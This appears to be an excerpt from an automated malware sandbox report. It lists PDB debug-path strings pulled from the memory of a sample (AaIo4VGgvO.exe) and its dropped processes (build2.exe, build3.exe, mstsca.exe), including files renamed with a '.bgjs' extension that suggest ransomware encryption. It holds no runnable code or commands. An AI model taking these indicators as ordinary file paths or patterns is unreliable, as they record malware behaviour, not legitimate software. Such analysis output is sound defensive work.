Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2197213613.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2197924531.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2198348821.00000000037A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: AaIo4VGgvO.exe, 00000004.00000003.2089852321.0000000003187000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114807637.0000000003411000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.1865432728.0000000003196000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115917286.0000000003414000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116232823.000000000342B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114024554.00000000033E8000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088573099.0000000003170000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2190414371.00000000036C5000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2188411803.0000000003694000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2180100262.0000000003401000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2189794393.0000000003694000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2190339728.00000000036B5000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2180974231.000000000368D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2182340796.0000000003694000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2182864734.000000000369D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\e\ source: AaIo4VGgvO.exe, 00000004.00000003.2192077434.0000000003340000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2187053912.0000000003302000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2191252603.0000000003340000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2165075548.000000000335D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2183481848.0000000003370000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2162950851.000000000335D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2180204256.0000000003365000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\*s source: AaIo4VGgvO.exe, 00000004.00000003.2145052140.000000000330E000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2146951412.0000000003330000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2146773493.000000000330F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: AaIo4VGgvO.exe, 00000004.00000003.2146063080.000000000366D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2165024290.00000000036AD000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2146521674.000000000369D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errorSearchCache\SettingsCache.txt.bgjsxt source: AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: AaIo4VGgvO.exe, 00000004.00000003.2114853320.0000000003193000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115331566.0000000003199000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114580956.0000000003188000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116154323.000000000319B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\*6BX source: AaIo4VGgvO.exe, 00000004.00000003.2137278747.0000000003117000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116754056.000000000311F000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2191417572.000000000311F000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2218133771.0000000003117000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2220967832.0000000003117000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2164637879.0000000003117000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2217866204.0000000003117000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2145259726.000000000311F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\ source: AaIo4VGgvO.exe, 00000004.00000003.2144227525.0000000003188000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2144398557.0000000003193000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ros source: AaIo4VGgvO.exe, 00000004.00000003.2090014411.0000000003134000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\, source: AaIo4VGgvO.exe, 00000004.00000003.2088931285.0000000000981000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088329162.0000000000971000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000007.00000002.1729414853.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000007.00000000.1725816575.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.1727737398.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2204304011.00000000037BA000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2209492135.00000000037BA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sers\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgjs source: AaIo4VGgvO.exe, 00000004.00000003.2088329162.0000000000971000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: AaIo4VGgvO.exe, 00000004.00000003.2180598083.0000000003751000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2191668009.0000000003751000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2190449148.0000000003751000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: AaIo4VGgvO.exe, 00000004.00000003.2136761292.0000000003477000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2136156466.0000000003477000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114673674.000000000347B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114024554.000000000347B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2137798043.0000000003490000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: AaIo4VGgvO.exe, 00000004.00000003.2180598083.00000000036EC000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2165024290.00000000036AD000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2155945655.0000000003401000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2182958066.0000000003715000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2182438639.00000000036ED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\~J" source: AaIo4VGgvO.exe, 00000004.00000003.2137946513.00000000032C7000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114361589.00000000032A1000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116544720.00000000032C0000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115675931.00000000032BF000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2137579843.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115372171.00000000032B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\\\ source: AaIo4VGgvO.exe, 00000004.00000003.2197523305.00000000036BC000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2188411803.0000000003694000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2189794393.0000000003694000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2190339728.00000000036B5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\n\bwe\ source: AaIo4VGgvO.exe, 00000004.00000003.2213313921.0000000003812000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2216430184.0000000003833000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2204304011.00000000037BA000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2209492135.00000000037BA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2114361589.00000000032A1000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.1833020898.00000000032A7000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116619441.00000000032DF000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088708695.00000000032C5000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088140446.00000000032AE000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115585911.00000000032D3000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115372171.00000000032B1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: AaIo4VGgvO.exe, AaIo4VGgvO.exe, 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000005.00000002.1692559144.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000006.00000002.4109482027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, AaIo4VGgvO.exe, 0000000B.00000002.1828199611.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 0000000C.00000002.1843540923.0000000000400000.00000040.00000400.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000017.00000002.2097684064.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000018.00000002.2105901221.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: AaIo4VGgvO.exe, 00000004.00000003.2213071160.00000000037CA000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2209492135.00000000037BA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb^n source: AaIo4VGgvO.exe, 00000004.00000003.2088674676.000000000314E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdbchCache\AppCache133408908224609935.txt source: AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\** source: AaIo4VGgvO.exe, 00000004.00000003.2115467877.0000000003354000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115718190.0000000003358000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114412304.0000000003349000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114259050.00000000032EE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgjs source: AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2087921126.0000000003366000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088297715.0000000003375000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\be\ source: AaIo4VGgvO.exe, 00000004.00000003.2114259050.00000000032EE000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114493482.00000000032FD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2155785156.0000000003152000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2165688622.0000000003157000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2144227525.0000000003152000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: AaIo4VGgvO.exe, 00000004.00000003.2205165799.0000000003476000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\lubefotirej.pdb source: AaIo4VGgvO.exe
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\p\* source: AaIo4VGgvO.exe, 00000004.00000003.2089852321.0000000003187000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.1865432728.0000000003196000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088573099.0000000003170000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\! source: AaIo4VGgvO.exe, 00000004.00000003.2197213613.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2197924531.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2198348821.00000000037A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\o source: AaIo4VGgvO.exe, 00000004.00000003.2187328951.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2197213613.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2197924531.00000000037A6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2198348821.00000000037A6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: AaIo4VGgvO.exe, 00000004.00000003.2144138093.0000000003419000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2146521674.00000000036E1000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2165024290.00000000036AD000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2180598083.00000000036DD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: AaIo4VGgvO.exe, 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000005.00000002.1692559144.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000006.00000002.4109482027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, AaIo4VGgvO.exe, 0000000B.00000002.1828199611.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 0000000C.00000002.1843540923.0000000000400000.00000040.00000400.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000017.00000002.2097684064.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000018.00000002.2105901221.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2114259050.00000000032EE000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114493482.00000000032FD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\fSC source: AaIo4VGgvO.exe, 00000004.00000003.2203358546.0000000003845000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2209492135.0000000003845000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CACHES~1.JFMntkrnlmp.pdb.jfmansferApiGroup-2023-10-04.0953.5356.1.odl source: AaIo4VGgvO.exe, 00000004.00000003.2090014411.0000000003123000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HC:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 00000009.00000002.1853790113.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 00000009.00000000.1743285569.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000E.00000000.1852789120.0000000000401000.00000020.00000001.01000000.00000009.sdmp, mstsca.exe, 00000011.00000000.1861897358.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000011.00000002.1943724924.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000014.00000000.1942013054.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000000.2325242683.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000019.00000002.2400652471.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001A.00000000.2399918134.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000000.2916135205.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001C.00000002.3012410654.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001D.00000000.3011582267.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000002.3632762801.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001E.00000000.3515414629.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 0000001F.00000000.3631999278.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\00\G source: AaIo4VGgvO.exe, 00000004.00000003.2209294827.0000000003476000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: AaIo4VGgvO.exe, 00000004.00000003.2197665887.00000000037E5000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2197523305.000000000369C000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2204304011.00000000037BA000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2198664348.000000000369C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\ source: AaIo4VGgvO.exe, 00000004.00000003.2144227525.0000000003188000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2144398557.0000000003193000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\ source: AaIo4VGgvO.exe, 00000004.00000003.2214146560.00000000032B1000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2214184252.00000000032B7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\l\\\ source: AaIo4VGgvO.exe, 00000004.00000003.2190121735.00000000036FD000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2187328951.00000000036DD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error.bgjsbgjs source: AaIo4VGgvO.exe, 00000004.00000003.2088329162.000000000095D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\t\&= source: AaIo4VGgvO.exe, 00000004.00000003.2157087863.0000000003466000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2164952090.0000000003466000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: AaIo4VGgvO.exe, 00000004.00000003.2146063080.000000000366D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2146521674.000000000369D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\!D source: AaIo4VGgvO.exe, 00000004.00000003.2156473331.0000000003419000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2155945655.0000000003401000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2156757540.0000000003433000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: XC:\lubefotirej.pdb source: AaIo4VGgvO.exe
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2183582473.00000000032F5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: AaIo4VGgvO.exe, 00000004.00000003.2146063080.000000000366D000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2146521674.000000000369D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgjs1e6c4e842c100b150[1].xml.bgjs0 source: AaIo4VGgvO.exe, 00000004.00000003.2165814423.000000000095D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\Hnb source: AaIo4VGgvO.exe, 00000004.00000003.2180598083.0000000003751000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2191668009.0000000003751000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2190449148.0000000003751000.00000004.00000020.00020000.00000000.sdmp
